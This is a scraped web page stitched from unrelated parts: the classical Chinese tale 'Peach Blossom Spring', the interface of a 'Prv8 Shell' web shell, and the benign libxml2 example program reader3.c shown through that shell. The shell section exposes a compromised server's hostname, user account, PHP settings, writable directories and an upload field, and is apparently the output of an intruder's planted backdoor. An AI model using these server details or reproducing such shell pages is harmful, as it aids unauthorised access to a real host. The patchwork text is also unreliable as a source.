晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/usr/share/doc/libxml2-devel/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/libxml2-devel/examples/reader3.c
/**
 * section: xmlReader
 * synopsis: Show how to extract subdocuments with xmlReader
 * purpose: Demonstrate the use of xmlTextReaderPreservePattern() 
 *          to parse an XML file with the xmlReader while collecting
 *          only some subparts of the document.
 *          (Note that the XMLReader functions require libxml2 version later
 *          than 2.6.)
 * usage: reader3
 * test: reader3 > reader3.tmp && diff reader3.tmp $(srcdir)/reader3.res
 * author: Daniel Veillard
 * copy: see Copyright for the status of this software.
 */

#include <stdio.h>
#include <libxml/xmlreader.h>

#if defined(LIBXML_READER_ENABLED) && defined(LIBXML_PATTERN_ENABLED) && defined(LIBXML_OUTPUT_ENABLED)


/**
 * streamFile:
 * @filename: the file name to parse
 *
 * Parse and print information about an XML file.
 *
 * Returns the resulting doc with just the elements preserved.
 */
static xmlDocPtr
extractFile(const char *filename, const xmlChar *pattern) {
    xmlDocPtr doc;
    xmlTextReaderPtr reader;
    int ret;

    /*
     * build an xmlReader for that file
     */
    reader = xmlReaderForFile(filename, NULL, 0);
    if (reader != NULL) {
        /*
	 * add the pattern to preserve
	 */
        if (xmlTextReaderPreservePattern(reader, pattern, NULL) < 0) {
            fprintf(stderr, "%s : failed add preserve pattern %s\n",
	            filename, (const char *) pattern);
	}
	/*
	 * Parse and traverse the tree, collecting the nodes in the process
	 */
        ret = xmlTextReaderRead(reader);
        while (ret == 1) {
            ret = xmlTextReaderRead(reader);
        }
        if (ret != 0) {
            fprintf(stderr, "%s : failed to parse\n", filename);
	    xmlFreeTextReader(reader);
	    return(NULL);
        }
	/*
	 * get the resulting nodes
	 */
	doc = xmlTextReaderCurrentDoc(reader);
	/*
	 * Free up the reader
	 */
        xmlFreeTextReader(reader);
    } else {
        fprintf(stderr, "Unable to open %s\n", filename);
	return(NULL);
    }
    return(doc);
}

int main(int argc, char **argv) {
    const char *filename = "test3.xml";
    const char *pattern = "preserved";
    xmlDocPtr doc;

    if (argc == 3) {
        filename = argv[1];
	pattern = argv[2];
    }

    /*
     * this initialize the library and check potential ABI mismatches
     * between the version it was compiled for and the actual shared
     * library used.
     */
    LIBXML_TEST_VERSION

    doc = extractFile(filename, (const xmlChar *) pattern);
    if (doc != NULL) {
        /*
	 * ouptut the result.
	 */
        xmlDocDump(stdout, doc);
	/*
	 * don't forget to free up the doc
	 */
	xmlFreeDoc(doc);
    }


    /*
     * Cleanup function for the XML library.
     */
    xmlCleanupParser();
    /*
     * this is to debug memory for regression tests
     */
    xmlMemoryDump();
    return(0);
}

#else
int main(void) {
    fprintf(stderr, "Reader, Pattern or output support not compiled in\n");
    exit(1);
}
#endif

haha - 2025